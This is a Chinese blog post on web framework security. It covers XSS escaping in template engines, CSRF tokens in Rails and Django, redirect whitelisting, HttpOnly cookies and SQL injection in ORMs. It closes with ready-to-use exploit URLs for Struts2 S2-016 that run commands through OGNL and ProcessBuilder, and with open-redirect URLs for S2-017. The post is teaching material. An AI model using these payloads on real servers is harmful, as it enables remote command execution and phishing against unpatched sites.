[web安全] Web框架安全

常见的框架有:Django(python),Struts2(java),Spring(java),Zend framework(php)
一、MVC框架安全
MVC是Model-View-Controller的缩写,它将Web应用分为三层,View层负责用户试图、页面展示等工作;Controller负责应用的逻辑实现,接收View层传入的用户请求,并转发给对应的Model做处理;Model层则负责实现模型,完成数据的处理。
从数据的流入来看,用户提交的数据先后流经了View层、Controller层、Model层,数据的流出则反过来。

二、模板引擎与XSS防御
在Django中使用Django Templates作为模板引擎,其中使用filters中的escape作为HtmlEncode的方法。
另一个流行模板引擎Velocity中,通过Event Handler来进行HtmlEncode
在模板引擎中,可以实现自定义的编码函数,应用于不同场景。在Django中是使用自定义filters,在Velocity中则可以使用“宏”(velocimacro)

三、Web框架与CSRF防御
CSRF攻击是借用户之手触发服务器操作。CSRF攻击的目标一般出现在“写数据”操作而非“读数据”操作。
对于Web框架来说,可以自动地在所有涉及POST的代码中添加token,这些地方包括所有的form表单、所有的Ajax POST请求等。
在Rails中,只需要在Application Controller中增加一行即可:
protect_from_forgery:secret => "12345678901234567890..."
它将根据secret和服务器端的随机因子自动生成token,并自动添加到所有form和由Rails生成的Ajax请求中。通过框架实现的这一功能大大简化了程序员的开发工作。

在Django中也有类似的功能:
首先将django.middleware.csrf.CsrfViewMiddleware添加到MIDDLEWARE_CLASSES中,
然后在form表单的模板中添加token即
{% csrf_token %}
接下来,确认在View层的函数中使用了django.core.context_processors.csrf,如果使用的是RequestContext,则默认已经使用了,否则需要手动添加。

在Spring MVC以及一些其他的流行Web框架中,并没有直接提供针对CSRF的保护,因此这些功能需要自己实现。

四、HTTP Header管理
在Web框架中,可以对HTTP头进行全局化的处理,因此一些基于HTTP头的安全方案可以很好地实施。
针对30X返回号的HTTP Response,浏览器将会跳转到Location指定的URL,攻击者往往利用此类功能实施钓鱼或诈骗。因此对于框架来说,管理好跳转目的地址是很有必要的。一般来说,可以在两个地方做这件事情:
(1)如果Web框架提供统一的跳转函数,则可以在跳转函数内部实现一个白名单,指定跳转地址只能在白名单中。
(2)另一种解决方式是控制HTTP的Location字段,限制Location的值只能是哪些地址,也能起到同样的效果,其本质还是白名单。

Cookie的HttpOnly Flag能防止session劫持,但并不是所有的Web服务器、Web容器、脚本语言提供的API都支持设置HttpOnly Cookie,所以很多时候需要由框架实现一个功能:对所有的Cookie默认添加HttpOnly,不需要此功能的Cookie则单独在配置文件中列出。

五、数据持久层与SQL注入
使用ORM(Object/Relation Mapping)框架对SQL注入是由积极意义的。以ORM框架ibatis举例,它支持动态SQL,可以在SQL语句中插入动态变量:$value$,如果用户能够控制这个变量,则会存在一个SQL注入的漏洞。而静态变量#value#是安全的。

在Django中,其提供的Database API,默认已经将所有输入进行SQL转义,比如,foo.get_list(bar__exact="' OR 1=1"),其最终效果类似于:SELECT * FROM foos WHERE bar = '\' OR 1=1'

六、Web框架自身安全
上面讲到的都是在Web框架中实现安全方案,但Web框架本身也可能会出现漏洞,只要是程序,就可能出现bug。
1.Struts2命令执行漏洞(CVE-2010-1870)
2.Spring MVC命令执行漏洞(CVE-2010-1622)

3.Django命令执行漏洞


七、经典实例

http://zone.wooyun.org/content/5159

Structs2曾经出现过两个比较严重的漏洞
1.CVE-2013-2251  S2-016
漏洞描述:
从Apache Struts 2.0.0至2.3.15.0 允许远程攻击者执行任意的OGNL(对象图导航语言)表达式,方式是通过构造以“action:”、“redirect:”或“redirectAction:”为前缀的参数。
利用实例:
http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}    
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}     
http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
具体,比如启动本地的计算器程序可以通过如下方式:

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'calc','goes','here'})).start()}

改进方法:
DefaultActionMapper会过滤以“action:”为前缀的信息,并且将“redirect:”和“redirectAction:”两个前缀参数弃用。

2.CVE-2013-2248  S2-017
漏洞描述:
从Apache Struts 2.0.0至2.3.15.0 允许远程攻击者利用在“redirect:”或“redirectAction:”前缀中添加URL,将用户重定向到任意的网站并且实施钓鱼攻击。
利用实例:
http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/
http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23
改进方法:
弃用“redirect:”和“redirectAction:”两个前缀参数。


小结:
Web框架本身也是应用程序的一个组成部分,只是这个组成部分较为特殊,处于基础和底层的位置。

你可能感兴趣的:(web安全)